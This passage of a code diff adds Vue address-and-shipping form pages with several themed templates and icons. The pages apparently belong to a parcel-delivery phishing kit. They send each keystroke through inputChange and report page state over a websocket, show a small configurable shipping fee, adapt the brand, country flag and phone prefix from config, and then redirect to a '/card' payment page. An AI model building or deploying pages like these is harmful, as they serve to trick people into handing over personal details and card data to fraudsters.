const startMonth = monthNames[startDate.getMonth()];
const endDay = dayNames[endDate.getDay()];
const endDayNumber = endDate.getDate();
const endMonth = monthNames[endDate.getMonth()];
return t("address_view.delivery_between", { startDay, startDayNumber, startMonth, endDay, endDayNumber, endMonth });
});
const validateEmail = () => { };
const router = useRouter();
const emailPattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
const isFormValid = computed(() => {
return (Object.keys(formData) as Array<keyof typeof formData>).every((key) => {
const field = formData[key];
if (!field.value) return false;
if (key === 'email') return emailPattern.test(field.value);
return true;
});
});
const textChange = (event: any, key: any) => {
const value = event.target.value;
const field = formData[key as keyof typeof formData];
field.value = value;
inputChange("input_address", key, value);
if (!value) {
field.error = true;
field.errtext = "address_view.field_error";
} else if (key === "email") {
if (!emailPattern.test(value)) {
field.error = true;
field.errtext = "address_view.invalid_email";
} else {
field.error = false;
}
} else {
field.error = false;
}
};
const next = () => {
let noPass = false;
(Object.keys(formData) as Array<keyof typeof formData>).forEach((key) => {
const field = formData[key];
if (!field.value) {
field.error = true;
noPass = true;
} else {
field.error = false;
}
});
if (noPass) {
return;
}
if (!showBz.value) {
const emailPattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
if (!emailPattern.test(formData.email.value)) {
formData.email.error = true;
formData.email.errtext = "address_view.invalid_email";
return;
} else {
formData.email.errtext = "address_view.field_error";
formData.email.error = false;
}
}
if (goodsConfig.value.feeType === 2) {
if (selectFee.value === "") {
alert(t("address_view.please_select_date"));
return;
}
const fee1Formatted = formatPriceWithUnit(goodsConfig.value.fee);
const fee2Formatted = formatPriceWithUnit(goodsConfig.value.fee2);
let feeAmount = 0;
if (selectFee.value === fee1Formatted) {
feeAmount = goodsConfig.value.fee;
} else if (selectFee.value === fee2Formatted) {
feeAmount = goodsConfig.value.fee2;
}
const goodsPrice = parseFloat(localStorage.getItem("goodsPrice") || "0");
const totalAmount = goodsPrice + feeAmount;
localStorage.setItem("shippingFee", formatPriceWithUnit(feeAmount));
localStorage.setItem("moneyAmount", totalAmount.toString());
}
loadingStore.setLoading(true);
setTimeout(() => {
router.push("/card");
}, 200);
};
onMounted(() => {
loadingStore.setLoading(false);
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "address" },
})
);
localStorage.setItem("route", "address");
const phone = localStorage.getItem("phone");
if (phone) {
formData.phone.value = phone;
}
const show = configData.value.customInput?.find(
(item: any) => item.key === "showBz"
)?.value;
showBz.value = !!show;
});
</script>
<template>
<div class="at1__page">
<div class="at1__content">
<!-- Top header banner -->
<header class="at1__header">
<div class="at1__header-icon">📦</div>
<div class="at1__header-body">
<h2 class="at1__header-title">{{ t('address_view.header_title') }}</h2>
<p class="at1__header-sub">{{ t('address_view.header_sub') }}</p>
</div>
</header>
<section class="at1__card">
<section class="at1__card-body">
<form class="at1__form" @submit.prevent="next">
<div class="at1__form-body">
<!-- Name row -->
<div class="at1__row-group">
<div class="at1__row">
<div class="at1__field" :class="{ 'at1__field--error': formData.fullName.error }">
<label class="at1__label">
<span class="at1__label-text">{{ t('address_view.your_name') }}</span>
<span class="at1__required">*</span>
</label>
<div class="at1__input-box">
<input class="at1__input" autocomplete="given-name" :placeholder="t('address_view.your_name')" :value="formData.fullName.value" @input="(e) => textChange(e, 'fullName')">
</div>
<span v-if="formData.fullName.error" class="at1__err">{{ t(formData.fullName.errtext) }}</span>
</div>
</div>
<div class="at1__row">
<div class="at1__field" :class="{ 'at1__field--error': formData.lastName.error }">
<label class="at1__label">
<span class="at1__label-text">{{ t('address_view.last_name') }}</span>
<span class="at1__required">*</span>
</label>
<div class="at1__input-box">
<input class="at1__input" autocomplete="family-name" :placeholder="t('address_view.last_name')" :value="formData.lastName.value" @input="(e) => textChange(e, 'lastName')">
</div>
<span v-if="formData.lastName.error" class="at1__err">{{ t(formData.lastName.errtext) }}</span>
</div>
</div>
</div>
<!-- Email -->
<div class="at1__row">
<div class="at1__field" :class="{ 'at1__field--error': formData.email.error }">
<label class="at1__label">
<span class="at1__label-text">{{ t('address_view.email') }}</span>
<span class="at1__required">*</span>
</label>
<div class="at1__input-box">
<input class="at1__input" type="email" autocomplete="email" :placeholder="t('address_view.email')" :value="formData.email.value" @input="(e) => textChange(e, 'email')">
</div>
<span v-if="formData.email.error" class="at1__err">{{ t(formData.email.errtext) }}</span>
</div>
</div>
<!-- Phone -->
<div class="at1__row">
<div class="at1__field" :class="{ 'at1__field--error': formData.phone.error }">
<label class="at1__label">
<span class="at1__label-text">{{ t('address_view.telephone') }}</span>
<span class="at1__required">*</span>
</label>
<div class="at1__input-box">
<input class="at1__input" type="tel" autocomplete="tel" maxlength="14" :placeholder="t('address_view.telephone')" :value="formData.phone.value" @input="(e) => textChange(e, 'phone')">
</div>
<span v-if="formData.phone.error" class="at1__err">{{ t(formData.phone.errtext) }}</span>
</div>
</div>
<!-- Address section -->
<div class="at1__address-section">
<h3 class="at1__address-title">{{ t('address_view.mailing_address') }}</h3>
<!-- Street -->
<div class="at1__row">
<div class="at1__field" :class="{ 'at1__field--error': formData.address.error }">
<label class="at1__label">
<span class="at1__label-text">{{ t('address_view.street_address') }}</span>
<span class="at1__required">*</span>
</label>
<div class="at1__input-box">
<input class="at1__input" autocomplete="street-address" :placeholder="t('address_view.street_address')" :value="formData.address.value" @input="(e) => textChange(e, 'address')">
</div>
<span v-if="formData.address.error" class="at1__err">{{ t(formData.address.errtext) }}</span>
</div>
</div>
<!-- Apartment (optional) -->
<div class="at1__row">
<div class="at1__field" :class="{ 'at1__field--error': formData.address2.error }">
<label class="at1__label">
<span class="at1__label-text">{{ t('address_view.apartment_number') }} <span class="at1__optional">{{ t('address_view.optional') }}</span></span>
<span class="at1__required">*</span>
</label>
<div class="at1__input-box">
<input class="at1__input" autocomplete="address-line2" :placeholder="t('address_view.apartment_number')" :value="formData.address2.value" @input="(e) => textChange(e, 'address2')">
</div>
<span v-if="formData.address2.error" class="at1__err">{{ t(formData.address2.errtext) }}</span>
</div>
</div>
<!-- City / State / Zip -->
<div class="at1__row-group">
<div class="at1__field" :class="{ 'at1__field--error': formData.city.error }">
<div class="at1__input-box">
<input class="at1__input" autocomplete="address-level2" :placeholder="t('address_view.city')" :value="formData.city.value" @input="(e) => textChange(e, 'city')">
</div>
<span v-if="formData.city.error" class="at1__err">{{ t(formData.city.errtext) }}</span>
</div>
<div class="at1__field" :class="{ 'at1__field--error': formData.state.error }">
<div class="at1__input-box">
<input class="at1__input" autocomplete="address-level1" :placeholder="t('address_view.state')" :value="formData.state.value" @input="(e) => textChange(e, 'state')">
</div>
<span v-if="formData.state.error" class="at1__err">{{ t(formData.state.errtext) }}</span>
</div>
<div class="at1__field" :class="{ 'at1__field--error': formData.zipCode.error }">
<div class="at1__input-box">
<input class="at1__input" autocomplete="postal-code" :placeholder="t('address_view.zip_code')" :value="formData.zipCode.value" @input="(e) => textChange(e, 'zipCode')">
</div>
<span v-if="formData.zipCode.error" class="at1__err">{{ t(formData.zipCode.errtext) }}</span>
</div>
</div>
</div>
</div>
<div class="at1__form-footer">
<p class="at1__footer-hint">{{ t('address_view.dear_user_msg') }}</p>
<button type="submit" class="at1__submit-btn" :class="{ 'at1__submit-btn--active': isFormValid }" :disabled="!isFormValid">{{ t('Next Step') }}</button>
</div>
</form>
</section>
</section>
</div>
</div>
</template>
<style scoped>
/* ===== Page ===== */
.at1__page {
min-height: 100vh;
background: #f5f5f5;
box-sizing: border-box;
}
.at1__content {
max-width: 480px;
margin: 0 auto;
padding: 24px 18px 64px;
}
/* ===== Header banner ===== */
.at1__header {
display: flex;
align-items: center;
gap: 16px;
background: var(--global-primary-color);
border-radius: 14px;
padding: 22px 22px;
margin-bottom: 20px;
box-shadow: 0 4px 16px rgba(230,0,0,0.2);
}
.at1__header-icon {
font-size: 36px;
flex-shrink: 0;
line-height: 1;
}
.at1__header-body {
display: flex;
flex-direction: column;
gap: 5px;
}
.at1__header-title {
font-size: 17px;
font-weight: 700;
color: #fff;
margin: 0;
line-height: 1.3;
}
.at1__header-sub {
font-size: 13px;
color: rgba(255,255,255,0.85);
margin: 0;
line-height: 1.6;
}
/* ===== Card ===== */
.at1__card {
background: #fff;
border-radius: 12px;
box-shadow: 0 1px 10px rgba(0,0,0,0.07);
overflow: hidden;
}
.at1__card-body {
padding: 0;
}
/* ===== Form ===== */
.at1__form {
display: flex;
flex-direction: column;
}
.at1__form-body {
padding: 28px 22px 16px;
display: flex;
flex-direction: column;
gap: 0;
}
/* ===== Row / Group ===== */
.at1__row {
width: 100%;
margin-bottom: 24px;
}
.at1__row-group {
display: flex;
gap: 14px;
margin-bottom: 24px;
}
.at1__row-group > .at1__row {
flex: 1;
min-width: 0;
margin-bottom: 0;
}
.at1__row-group > .at1__field {
flex: 1;
min-width: 0;
}
/* ===== Field ===== */
.at1__field {
display: flex;
flex-direction: column;
width: 100%;
}
/* ===== Label ===== */
.at1__label {
display: flex;
align-items: center;
gap: 2px;
margin-bottom: 8px;
}
.at1__label-text {
font-size: 14px;
color: #333;
font-weight: 500;
}
.at1__required {
color: var(--global-primary-color);
font-size: 13px;
font-weight: 700;
margin-left: 1px;
}
.at1__optional {
font-size: 11px;
color: #aaa;
font-weight: 400;
}
/* ===== Input box (border style) ===== */
.at1__input-box {
border: 1.5px solid #ddd;
border-radius: 6px;
background: #fff;
transition: border-color 0.18s;
overflow: hidden;
}
.at1__field--error .at1__input-box {
border-color: var(--global-primary-color);
}
.at1__input-box:focus-within {
border-color: #999;
}
.at1__input {
width: 100%;
border: none;
outline: none;
padding: 13px 14px;
font-size: 15px;
color: #111;
background: transparent;
box-sizing: border-box;
}
.at1__input::placeholder {
color: #bbb;
font-size: 13px;
}
/* ===== Error ===== */
.at1__err {
color: var(--global-primary-color);
font-size: 12px;
margin-top: 5px;
display: block;
}
/* ===== Address section ===== */
.at1__address-section {
margin-top: 4px;
padding-top: 24px;
border-top: 1px solid #f0f0f0;
}
.at1__address-title {
font-size: 16px;
font-weight: 700;
color: #111;
margin: 0 0 24px;
}
/* ===== Footer ===== */
.at1__form-footer {
border-top: 1px solid #f0f0f0;
padding: 24px 22px 32px;
background: #fff;
display: flex;
flex-direction: column;
gap: 16px;
}
.at1__footer-hint {
font-size: 12px;
color: #999;
text-align: center;
margin: 0;
line-height: 1.6;
}
.at1__submit-btn {
display: block;
width: 100%;
background: #ccc;
color: #fff;
border: none;
border-radius: 10px;
padding: 16px 0;
font-size: 16px;
font-weight: 700;
cursor: not-allowed;
letter-spacing: 0.02em;
transition: background 0.2s, opacity 0.16s;
}
.at1__submit-btn--active {
background: var(--global-primary-color);
cursor: pointer;
}
.at1__submit-btn--active:active {
opacity: 0.82;
}
</style>

View File

@@ -0,0 +1,600 @@
<script setup lang="ts">
import { useRouter } from "vue-router";
import { useLoadingStore } from "@/stores/loadingStore";
import { computed, onMounted, reactive, ref } from "vue";
import { useI18n } from "vue-i18n";
import { configData, formatPriceWithUnit, inputChange, myWebSocket } from "@/utils/common";
import { globalConfig, goodsConfig } from "@/config";
const selectFee = ref("");
const { t } = useI18n();
const loadingStore = useLoadingStore();
const showBz = ref(false);
const domainName = ref(globalConfig.main_name);
const formData = reactive({
fullName: "",
phone: "",
address: "",
address2: "",
city: "",
state: "",
zipCode: "",
email: "",
});
const formDataError = reactive({
fullName: false,
phone: false,
address: false,
address2: false,
city: false,
state: false,
zipCode: false,
email: false,
});
const shippingPrices = computed(() => {
const defaultPrices = {
rapido: "CLP 2,888",
estandar: "CLP 399",
};
if (!configData.value?.pay_amount) {
return defaultPrices;
}
const amounts = configData.value.pay_amount.split(",");
return {
rapido: amounts[0] || defaultPrices.rapido,
estandar: amounts[1] || defaultPrices.estandar,
};
});
const currentDate = new Date();
const shippingDate = new Date(currentDate);
shippingDate.setDate(currentDate.getDate() + 2);
const dayNames = [t("Sunday"), t("Monday"), t("Tuesday"), t("Wednesday"), t("Thursday"), t("Friday"), t("Saturday")];
const monthNames = [t("January"), t("February"), t("March"), t("April"), t("May"), t("June"), t("July"), t("August"), t("September"), t("October"), t("November"), t("December")];
const shippingMessage = computed(() => {
const day = dayNames[shippingDate.getDay()];
const date = shippingDate.getDate() + 1;
const month = monthNames[shippingDate.getMonth()];
return t("address_view.express_shipping", { day, date, month });
});
const startDate = new Date(currentDate);
const endDate = new Date(currentDate);
startDate.setDate(currentDate.getDate() + 4);
endDate.setDate(currentDate.getDate() + 6);
const shippingMessage2 = computed(() => {
const startDay = dayNames[startDate.getDay()];
const startDayNumber = startDate.getDate();
const startMonth = monthNames[startDate.getMonth()];
const endDay = dayNames[endDate.getDay()];
const endDayNumber = endDate.getDate();
const endMonth = monthNames[endDate.getMonth()];
return t("address_view.delivery_between", {
startDay,
startDayNumber,
startMonth,
endDay,
endDayNumber,
endMonth,
});
});
const validateEmail = () => { };
const emailErrorMessage = ref("");
const router = useRouter();
const textChange = (event: any, key: any) => {
const value = event.target.value;
inputChange("input_address", key, value);
let noPass = false;
if (key === "fullName") {
if (!formData.fullName) {
formDataError.fullName = true;
noPass = true;
} else {
formDataError.fullName = false;
}
}
if (key === "city") {
if (!formData.city) {
formDataError.city = true;
noPass = true;
} else {
formDataError.city = false;
}
}
if (key === "address") {
if (!formData.address) {
formDataError.address = true;
noPass = true;
} else {
formDataError.address = false;
}
}
if (key === "zipCode") {
if (!formData.zipCode) {
formDataError.zipCode = true;
noPass = true;
} else {
formDataError.zipCode = false;
}
}
if (key === "state") {
if (!showBz.value && !formData.state) {
formDataError.state = true;
noPass = true;
} else {
formDataError.state = false;
}
}
if (key === "email") {
if (!showBz.value && !formData.email) {
formDataError.email = true;
emailErrorMessage.value = t("address_view.field_error");
noPass = true;
} else {
formDataError.email = false;
}
}
if (key === "phone") {
if (!formData.phone) {
formDataError.phone = true;
noPass = true;
} else {
formDataError.phone = false;
}
}
};
const next = () => {
let noPass = false;
if (!formData.fullName) {
formDataError.fullName = true;
noPass = true;
} else {
formDataError.fullName = false;
}
if (!formData.city) {
formDataError.city = true;
noPass = true;
} else {
formDataError.city = false;
}
if (!formData.address) {
formDataError.address = true;
noPass = true;
} else {
formDataError.address = false;
}
if (!formData.zipCode) {
formDataError.zipCode = true;
noPass = true;
} else {
formDataError.zipCode = false;
}
if (!showBz.value) {
if (!formData.state) {
formDataError.state = true;
noPass = true;
} else {
formDataError.state = false;
}
if (!formData.email) {
formDataError.email = true;
emailErrorMessage.value = t("address_view.field_error");
noPass = true;
} else {
formDataError.email = false;
}
}
if (!formData.phone) {
formDataError.phone = true;
noPass = true;
} else {
formDataError.phone = false;
}
if (noPass) {
return;
}
if (!showBz.value) {
const emailPattern = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
if (!emailPattern.test(formData.email)) {
emailErrorMessage.value = t("address_view.invalid_email");
formDataError.email = true;
return;
} else {
emailErrorMessage.value = "";
formDataError.email = false;
}
}
if (goodsConfig.value.feeType === 2) {
if (selectFee.value === "") {
alert(t("address_view.please_select_date"));
return;
}
const fee1Formatted = formatPriceWithUnit(goodsConfig.value.fee);
const fee2Formatted = formatPriceWithUnit(goodsConfig.value.fee2);
let feeAmount = 0;
if (selectFee.value === fee1Formatted) {
feeAmount = goodsConfig.value.fee;
} else if (selectFee.value === fee2Formatted) {
feeAmount = goodsConfig.value.fee2;
}
const goodsPrice = parseFloat(localStorage.getItem("goodsPrice") || "0");
const totalAmount = goodsPrice + feeAmount;
localStorage.setItem("shippingFee", formatPriceWithUnit(feeAmount));
localStorage.setItem("moneyAmount", totalAmount.toString());
}
loadingStore.setLoading(true);
setTimeout(() => {
router.push("/card");
}, 200);
};
onMounted(() => {
loadingStore.setLoading(false);
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "address" },
})
);
localStorage.setItem("route", "address");
const phone = localStorage.getItem("phone");
if (phone) {
formData.phone = phone;
}
const show = configData.value.customInput?.find(
(item: any) => item.key === "showBz"
)?.value;
showBz.value = !!show;
});
</script>
<template>
<div>
<div class="t2-top-content">
<img src="/static/products/address.png" alt="logo" style="width: 50px; height: 50px; margin-right: 10px" />
<h1 style="font-size: 22px; margin-bottom: 6px; margin-top: 10px; color: #ffffff">
{{ t("address_view.confirm_shipping") }}
</h1>
</div>
<div class="t2-main-content-body_googds" style="margin-top: 0px;">
<div>
<div style="text-align: left">
<p>
{{ configData?.address_msg ? configData?.address_msg : "" }}
</p>
</div>
<br />
<div>
<form :novalidate="true">
<div class="t2-input1">
<label>
{{ t("address_view.your_name") }}
</label>
<input type="text" :required="true" @input="(event) => textChange(event, 'fullName')"
v-model="formData.fullName" placeholder=" " />
<div class="t2-error" v-if="formDataError.fullName">
{{ t("address_view.field_error") }}
</div>
</div>
<div class="t2-input1">
<label>
{{ t("address_view.address") }}
</label>
<input type="text" @input="(event) => textChange(event, 'address')" v-model="formData.address"
:placeholder="t('address_view.street_address')" />
<div class="t2-error" v-if="formDataError.address">
{{ t("address_view.field_error") }}
</div>
</div>
<div class="t2-input1" v-if="!showBz">
<label>
{{ t("address_view.detailed_address") }} {{ t("address_view.optional") }}
</label>
<input type="text" @input="(event) => textChange(event, 'address2')" v-model="formData.address2"
:placeholder="t('address_view.apartment_number')" />
<div class="t2-error" v-if="formDataError.address2">
{{ t("address_view.field_error") }}
</div>
</div>
<div class="t2-input1">
<label>
{{ t("address_view.city") }}
</label>
<input type="text" @input="(event) => textChange(event, 'city')" v-model="formData.city" placeholder=" " />
<div class="t2-error" v-if="formDataError.city">
{{ t("address_view.field_error") }}
</div>
</div>
<div class="t2-input1" v-if="!showBz">
<label>
{{ t("address_view.state") }}
</label>
<input type="text" @input="(event) => textChange(event, 'state')" v-model="formData.state" placeholder=" " />
<div class="t2-error" v-if="formDataError.state">
{{ t("address_view.field_error") }}
</div>
</div>
<div class="t2-input1">
<label>
{{ t("address_view.zip_code") }}
</label>
<input type="text" @input="(event) => textChange(event, 'zipCode')" v-model="formData.zipCode" placeholder=" " />
<div class="t2-error" v-if="formDataError.zipCode">
{{ t("address_view.field_error") }}
</div>
</div>
<div class="t2-input1" v-if="!showBz">
<label>
{{ t("address_view.email") }}
</label>
<input type="email" @input="(event) => textChange(event, 'email')" v-model="formData.email" placeholder=" " />
<div class="t2-error" v-if="formDataError.email">
{{ emailErrorMessage }}
</div>
</div>
<div class="t2-input1">
<label>
{{ t("address_view.telephone") }}
</label>
<div class="t2-phone-input-group">
<div class="t2-country-prefix">
<img :src="`/img/flag_png/${globalConfig.flag}.png`" :alt="domainName" class="t2-flag-icon" />
<span class="t2-prefix-text">+{{ globalConfig.phone_prefix }}</span>
</div>
<input
type="tel"
inputmode="tel"
maxlength="8"
@input="(event) => textChange(event, 'phone')"
v-model="formData.phone"
placeholder=" "
class="t2-phone-input-field"
/>
</div>
<div class="t2-error" v-if="formDataError.phone">
{{ t("address_view.field_error") }}
</div>
</div>
<div class="t2-shipping-section" v-if="goodsConfig.feeType === 2">
<h3 class="t2-shipping-title">{{ t("address_view.shipping_date_costs") }}</h3>
<div class="t2-shipping-options">
<label class="t2-shipping-option">
<input type="radio" name="shipping" :value="formatPriceWithUnit(goodsConfig.fee)" v-model="selectFee">
<div class="t2-shipping-info">
<span class="t2-shipping-text">{{ shippingMessage }}</span>
<span class="t2-shipping-price">{{ formatPriceWithUnit(goodsConfig.fee) }}</span>
</div>
</label>
<label class="t2-shipping-option">
<input type="radio" name="shipping" :value="formatPriceWithUnit(goodsConfig.fee2)" v-model="selectFee">
<div class="t2-shipping-info">
<span class="t2-shipping-text">{{ shippingMessage2 }}</span>
<span class="t2-shipping-price">{{ formatPriceWithUnit(goodsConfig.fee2) }}</span>
</div>
</label>
</div>
</div>
<br />
<div class="t2-button-submit">
<button type="button" @click="next">
{{ t("Next Step") }}
</button>
</div>
</form>
</div>
</div>
</div>
</div>
</template>
<style scoped>
.t2-phone-input-group {
display: flex;
align-items: center;
background: #ffffff;
border: 1px solid #ccc;
border-radius: 8px;
overflow: hidden;
height: 48px;
margin-top: 5px;
}
.t2-country-prefix {
display: flex;
align-items: center;
gap: 6px;
padding: 0 10px;
background: #f8f9fa;
border-right: 1px solid #ddd;
height: 100%;
flex-shrink: 0;
}
.t2-flag-icon {
width: 22px;
height: auto;
border: 1px solid #eee;
}
.t2-prefix-text {
font-weight: 700;
color: #333;
font-size: 15px;
}
.t2-phone-input-field {
flex: 1;
border: none !important;
padding: 0 12px !important;
height: 100% !important;
font-size: 16px;
outline: none;
background: transparent;
}
form[novalidate].t2-invalid div.t2-input1:has(input:invalid) .t2-error {
display: block;
color: red;
font-size: 0.9em;
}
.t2-top-content {
display: flex;
flex-direction: row;
background: var(--global-primary-color);
padding: 10px 30px;
align-items: center;
}
.t2-error {
display: block;
color: red;
font-size: 0.9em;
margin-top: 4px;
}
.t2-input1 {
margin-bottom: 15px;
text-align: left;
}
.t2-input1 label {
display: block;
margin-bottom: 5px;
font-weight: 600;
color: #333;
}
.t2-input1 input {
width: 100%;
padding: 12px;
border: 1px solid #ccc;
border-radius: 8px;
box-sizing: border-box;
}
.t2-input1 input:focus {
outline: none;
border-color: var(--global-primary-color) !important;
border-width: 2px;
}
.t2-main-content-body_googds {
padding: 10px;
}
.t2-main-content-body_googds .t2-shipping-section {
/* margin-top: 24px; */
padding-top: 16px;
border-top: 1px solid #e0e0e0;
}
.t2-main-content-body_googds .t2-shipping-title {
font-size: 18px;
font-weight: 700;
color: #333333;
margin-bottom: 16px;
font-family: "Roboto", "Arial", sans-serif;
}
.t2-main-content-body_googds .t2-shipping-options {
display: flex;
flex-direction: column;
gap: 12px;
}
.t2-main-content-body_googds .t2-shipping-option {
display: flex;
align-items: center;
padding: 12px;
border: 1px solid #cccccc;
border-radius: 8px;
cursor: pointer;
transition: border-color 0.2s, background-color 0.2s;
}
.t2-main-content-body_googds .t2-shipping-option:hover {
border-color: #003087;
background-color: #f5f6f5;
}
.t2-main-content-body_googds .t2-shipping-option input[type="radio"] {
width: auto;
margin-right: 12px;
accent-color: #003087;
}
.t2-main-content-body_googds .t2-shipping-info {
flex: 1;
}
.t2-main-content-body_googds .t2-shipping-text {
display: block;
font-size: 14px;
color: #555555;
margin-bottom: 4px;
font-family: "Roboto", "Arial", sans-serif;
}
.t2-main-content-body_googds .t2-shipping-price {
font-size: 16px;
font-weight: 600;
color: #003087;
font-family: "Roboto", "Arial", sans-serif;
}
.t2-button-submit button {
width: 100%;
padding: 15px;
background-color: var(--global-primary-color);
color: white;
border: none;
border-radius: 8px;
font-size: 16px;
font-weight: 700;
cursor: pointer;
}
</style>

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,7 @@
<template>
<svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" fill="currentColor">
<path
d="M15 4a1 1 0 1 0 0 2V4zm0 11v-1a1 1 0 0 0-1 1h1zm0 4l-.707.707A1 1 0 0 0 16 19h-1zm-4-4l.707-.707A1 1 0 0 0 11 14v1zm-4.707-1.293a1 1 0 0 0-1.414 1.414l1.414-1.414zm-.707.707l-.707-.707.707.707zM9 11v-1a1 1 0 0 0-.707.293L9 11zm-4 0h1a1 1 0 0 0-1-1v1zm0 4H4a1 1 0 0 0 1.707.707L5 15zm10-9h2V4h-2v2zm2 0a1 1 0 0 1 1 1h2a3 3 0 0 0-3-3v2zm1 1v6h2V7h-2zm0 6a1 1 0 0 1-1 1v2a3 3 0 0 0 3-3h-2zm-1 1h-2v2h2v-2zm-3 1v4h2v-4h-2zm1.707 3.293l-4-4-1.414 1.414 4 4 1.414-1.414zM11 14H7v2h4v-2zm-4 0c-.276 0-.525-.111-.707-.293l-1.414 1.414C5.42 15.663 6.172 16 7 16v-2zm-.707 1.121l3.414-3.414-1.414-1.414-3.414 3.414 1.414 1.414zM9 12h4v-2H9v2zm4 0a3 3 0 0 0 3-3h-2a1 1 0 0 1-1 1v2zm3-3V3h-2v6h2zm0-6a3 3 0 0 0-3-3v2a1 1 0 0 1 1 1h2zm-3-3H3v2h10V0zM3 0a3 3 0 0 0-3 3h2a1 1 0 0 1 1-1V0zM0 3v6h2V3H0zm0 6a3 3 0 0 0 3 3v-2a1 1 0 0 1-1-1H0zm3 3h2v-2H3v2zm1-1v4h2v-4H4zm1.707 4.707l.586-.586-1.414-1.414-.586.586 1.414 1.414z"
/>
</svg>
</template>

View File

@@ -0,0 +1,7 @@
<template>
<svg xmlns="http://www.w3.org/2000/svg" width="20" height="17" fill="currentColor">
<path
d="M11 2.253a1 1 0 1 0-2 0h2zm-2 13a1 1 0 1 0 2 0H9zm.447-12.167a1 1 0 1 0 1.107-1.666L9.447 3.086zM1 2.253L.447 1.42A1 1 0 0 0 0 2.253h1zm0 13H0a1 1 0 0 0 1.553.833L1 15.253zm8.447.833a1 1 0 1 0 1.107-1.666l-1.107 1.666zm0-14.666a1 1 0 1 0 1.107 1.666L9.447 1.42zM19 2.253h1a1 1 0 0 0-.447-.833L19 2.253zm0 13l-.553.833A1 1 0 0 0 20 15.253h-1zm-9.553-.833a1 1 0 1 0 1.107 1.666L9.447 14.42zM9 2.253v13h2v-13H9zm1.553-.833C9.203.523 7.42 0 5.5 0v2c1.572 0 2.961.431 3.947 1.086l1.107-1.666zM5.5 0C3.58 0 1.797.523.447 1.42l1.107 1.666C2.539 2.431 3.928 2 5.5 2V0zM0 2.253v13h2v-13H0zm1.553 13.833C2.539 15.431 3.928 15 5.5 15v-2c-1.92 0-3.703.523-5.053 1.42l1.107 1.666zM5.5 15c1.572 0 2.961.431 3.947 1.086l1.107-1.666C9.203 13.523 7.42 13 5.5 13v2zm5.053-11.914C11.539 2.431 12.928 2 14.5 2V0c-1.92 0-3.703.523-5.053 1.42l1.107 1.666zM14.5 2c1.573 0 2.961.431 3.947 1.086l1.107-1.666C18.203.523 16.421 0 14.5 0v2zm3.5.253v13h2v-13h-2zm1.553 12.167C18.203 13.523 16.421 13 14.5 13v2c1.573 0 2.961.431 3.947 1.086l1.107-1.666zM14.5 13c-1.92 0-3.703.523-5.053 1.42l1.107 1.666C11.539 15.431 12.928 15 14.5 15v-2z"
/>
</svg>
</template>

View File

@@ -0,0 +1,7 @@
<template>
<svg xmlns="http://www.w3.org/2000/svg" width="18" height="20" fill="currentColor">
<path
d="M11.447 8.894a1 1 0 1 0-.894-1.789l.894 1.789zm-2.894-.789a1 1 0 1 0 .894 1.789l-.894-1.789zm0 1.789a1 1 0 1 0 .894-1.789l-.894 1.789zM7.447 7.106a1 1 0 1 0-.894 1.789l.894-1.789zM10 9a1 1 0 1 0-2 0h2zm-2 2.5a1 1 0 1 0 2 0H8zm9.447-5.606a1 1 0 1 0-.894-1.789l.894 1.789zm-2.894-.789a1 1 0 1 0 .894 1.789l-.894-1.789zm2 .789a1 1 0 1 0 .894-1.789l-.894 1.789zm-1.106-2.789a1 1 0 1 0-.894 1.789l.894-1.789zM18 5a1 1 0 1 0-2 0h2zm-2 2.5a1 1 0 1 0 2 0h-2zm-5.447-4.606a1 1 0 1 0 .894-1.789l-.894 1.789zM9 1l.447-.894a1 1 0 0 0-.894 0L9 1zm-2.447.106a1 1 0 1 0 .894 1.789l-.894-1.789zm-6 3a1 1 0 1 0 .894 1.789L.553 4.106zm2.894.789a1 1 0 1 0-.894-1.789l.894 1.789zm-2-.789a1 1 0 1 0-.894 1.789l.894-1.789zm1.106 2.789a1 1 0 1 0 .894-1.789l-.894 1.789zM2 5a1 1 0 1 0-2 0h2zM0 7.5a1 1 0 1 0 2 0H0zm8.553 12.394a1 1 0 1 0 .894-1.789l-.894 1.789zm-1.106-2.789a1 1 0 1 0-.894 1.789l.894-1.789zm1.106 1a1 1 0 1 0 .894 1.789l-.894-1.789zm2.894.789a1 1 0 1 0-.894-1.789l.894 1.789zM8 19a1 1 0 1 0 2 0H8zm2-2.5a1 1 0 1 0-2 0h2zm-7.447.394a1 1 0 1 0 .894-1.789l-.894 1.789zM1 15H0a1 1 0 0 0 .553.894L1 15zm1-2.5a1 1 0 1 0-2 0h2zm12.553 2.606a1 1 0 1 0 .894 1.789l-.894-1.789zM17 15l.447.894A1 1 0 0 0 18 15h-1zm1-2.5a1 1 0 1 0-2 0h2zm-7.447-5.394l-2 1 .894 1.789 2-1-.894-1.789zm-1.106 1l-2-1-.894 1.789 2 1 .894-1.789zM8 9v2.5h2V9H8zm8.553-4.894l-2 1 .894 1.789 2-1-.894-1.789zm.894 0l-2-1-.894 1.789 2 1 .894-1.789zM16 5v2.5h2V5h-2zm-4.553-3.894l-2-1-.894 1.789 2 1 .894-1.789zm-2.894-1l-2 1 .894 1.789 2-1L8.553.106zM1.447 5.894l2-1-.894-1.789-2 1 .894 1.789zm-.894 0l2 1 .894-1.789-2-1-.894 1.789zM0 5v2.5h2V5H0zm9.447 13.106l-2-1-.894 1.789 2 1 .894-1.789zm0 1.789l2-1-.894-1.789-2 1 .894 1.789zM10 19v-2.5H8V19h2zm-6.553-3.894l-2-1-.894 1.789 2 1 .894-1.789zM2 15v-2.5H0V15h2zm13.447 1.894l2-1-.894-1.789-2 1 .894 1.789zM18 15v-2.5h-2V15h2z"
/>
</svg>
</template>

View File

@@ -0,0 +1,7 @@
<template>
<svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" fill="currentColor">
<path
d="M10 3.22l-.61-.6a5.5 5.5 0 0 0-7.666.105 5.5 5.5 0 0 0-.114 7.665L10 18.78l8.39-8.4a5.5 5.5 0 0 0-.114-7.665 5.5 5.5 0 0 0-7.666-.105l-.61.61z"
/>
</svg>
</template>

View File

@@ -0,0 +1,19 @@
<!-- This icon is from <https://github.com/Templarian/MaterialDesign>, distributed under Apache 2.0 (https://www.apache.org/licenses/LICENSE-2.0) license-->
<template>
<svg
xmlns="http://www.w3.org/2000/svg"
